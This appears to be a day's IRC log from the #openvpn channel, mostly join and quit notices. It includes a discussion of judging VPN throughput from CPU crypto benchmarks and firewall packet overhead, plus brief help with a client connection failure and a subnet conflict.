14:27 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit [Remote host closed the connection]
14:32 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
14:47 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
14:51 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit [Ping timeout: 252 seconds]
14:51 -!- takamichi [~takamichi@85.12.8.15] has quit [Quit: Computer has gone to sleep.]
15:11 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
15:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
15:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:01 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
16:17 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
16:21 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit [Ping timeout: 252 seconds]
16:25 -!- noecc [~irc@unaffiliated/noecc] has left #openvpn ["pax"]
16:30 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
16:31 < tfox> hey there! I'm looking into some hardware for my firewall/vpn box, and I'm curious if anyone can point me at some charts or information that would help me figure out how cpu power translates to throughput?
16:37 <+Aketzu> are you looking for 1/10/100Mbps throughput?
16:38 <+Aketzu> cpu isn't the only thing... for example good/bad network adapter can have 2x difference in throughput
16:44 -!- Hes [WqTodo@tunkki.fi] has quit [Ping timeout: 260 seconds]
16:44 < tfox> network adapter shouldn't be a problem
16:44 < tfox> the connection is 40mbps for now
16:45 < tfox> it would be surprising to me if I got less than half my available throughput
16:46 < tfox> as with a 100mbps card
16:47 <+lickalott> has anyone had an issue with openvpn client on ubuntu?  It runs and sees the server but fails to connect.  it will cycle through until I stop it, but never connects.
16:48 < tfox> I may not have been clear in my opening there - I need to better understand how much cpu power openvpn is going to consume
16:48 < tfox> lickalott: you got some logs?
16:48 -!- able [~able@gateway/tor-sasl/able] has quit [Remote host closed the connection]
16:49 <+Aketzu> tfox: for example run "openssl speed aes-256-cbc" to get idea for fast your CPU is in raw crypto
16:49 <+lickalott> i'm back in windows now because i can't boot, but i can prob command-line in and grab soemthing.
16:50 <+Aketzu> Xeon E5620 (2.4GHz) gets ~55mbytes per sec... i.e. ~400Mbps
16:50 < tfox> Aketzu: interesting. my raspberry pi is giving me about 11MB/s. not bad
16:51 <+Aketzu> also test openssl speed blowfish
16:51 <+lickalott> tfox where would I look?  /usr/sbin?
16:52 <+Aketzu> about twice the speed as aes
16:52 < tfox> lickalott: probably /var/log. I don't use ubuntu
16:52 < tfox> Aketzu: 13MB/s
16:56 -!- Hes [GVUQS1ZX@tunkki.fi] has joined #openvpn
16:57 < tfox> 800mhz should keep me happy for quite some time
17:00 <+Aketzu> arm?
17:01 < tfox> Via Ezra
17:01 < tfox> x86
17:02 < tfox> I only used my rpi as a sample, but if a 700mhz arm can handle ~80mbps+, I'm sure the ezra will be fine
17:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
17:11 < tfox> my mbp is doing 640-760mbps. that's bitchen.
17:12 < Six6siX> not sure how or what your doing
17:13 < Six6siX> my broadband is only capable of 30mbps
17:14 < tfox> sure, and that's my primary concern, but I have to account for overhead for the firewall and regular traffic overhead
17:15 < tfox> I'm pretty confident this 800mhz unit will do the trick
17:16 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
17:16 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
17:16 <+Aketzu> tfox: http://routerboard.com/RB750GL .. in the bottom are performance figures for how much firewall eats performance
17:16 <@vpnHelper> Title: RouterBoard.com : RB750GL (at routerboard.com)
17:16 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
17:17 < tfox> how delicious
17:19 < tfox> crap hardware, but it gives some useful perspective
17:20 <+Aketzu> yeah
17:20 <+Aketzu> it's the packet count that matters
17:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:23 < tfox> hmm. how should I interpret that
17:24 < tfox> granted, the impact is staggering, I'm just wondering how that translates
17:24 <+Aketzu> when applying firewall rules you need to inspect every packet... it doesn't matter whether it has 1 byte or 1500 bytes of payload data
17:25 <+Aketzu> network connections are sold by bandwidth (~payload) and not by packets per second
17:27 < tfox> right, because the data comes in a stream and gets packaged on either end
17:27 < tfox> unless its being inspected
17:51 -!- Kerin [~WTrail@192.34.83.144] has joined #openvpn
17:53 < Kerin> I'm using OpenVPN with Ghostpath, which mostly works - except that when OpenVPN is running, my dev webserver is not accessible outside the LAN. I get this message, which I imagine you get a lot of in here: WARNING: potential route subnet conflict between local LAN [10.1.2.0/255.255.255.0] and remote VPN [10.1.2.1/255.255.255.255]
17:54 <+Aketzu> sounds like you have shot yourself in the leg
17:54 < tfox> ^
17:54 <+Aketzu> by using same network in two places
17:55 < tfox> you want to use different subnets for each network
17:57 -!- Kerin [~WTrail@192.34.83.144] has quit [Ping timeout: 240 seconds]
17:57 < tfox> glad we could be of help
18:00 <+Aketzu> .. probably turned on the vpn
18:00 < tfox> heh
18:01 <@EugeneKay> !next
18:22 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
18:25 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
18:25 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
18:30 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
18:30 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Connection reset by peer]
18:33 -!- xtropx [~Evan.Rogg@corplan.arvig.com] has left #openvpn []
18:38 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
18:46 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Quit: tfox]
18:59 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
19:01 -!- master_o1_master [~master_of@p4FF24E7D.dip0.t-ipconnect.de] has joined #openvpn
19:04 -!- master_of_master [~master_of@p4FF24E82.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
19:22 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Quit: tfox]
19:25 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
19:26 -!- Denial [Denial@2.217.201.230] has quit []
19:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
19:29 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Client Quit]
19:37 -!- able [~able@gateway/tor-sasl/able] has quit [Quit: able]
19:42 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
19:42 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
19:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
20:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:22 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Quit: tfox]
20:23 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 252 seconds]
20:23 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has joined #openvpn
20:24 -!- tfox [~tfox@50-47-86-141.evrt.wa.frontiernet.net] has quit [Client Quit]
20:24 -!- tfox [~tfox@199.167.138.130] has joined #openvpn
20:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
20:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:40 -!- tfox [~tfox@199.167.138.130] has quit [Quit: tfox]
20:55 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 252 seconds]
21:00 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
21:14 -!- lbft is now known as jigglypuff
21:18 -!- tfox [~tfox@199.167.138.130] has joined #openvpn
21:19 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
21:44 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
21:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:08 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 246 seconds]
22:10 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
22:10 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
22:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:38 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 246 seconds]
22:41 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
22:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
23:05 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
23:05 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
23:24 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
23:25 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
23:25 -!- mode/#openvpn [+v s7r] by ChanServ
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
23:41 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
23:41 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
23:51 -!- JSharpe [~JSharpe@176.249.43.93] has joined #openvpn
23:53 -!- tfox [~tfox@199.167.138.130] has quit [Quit: tfox]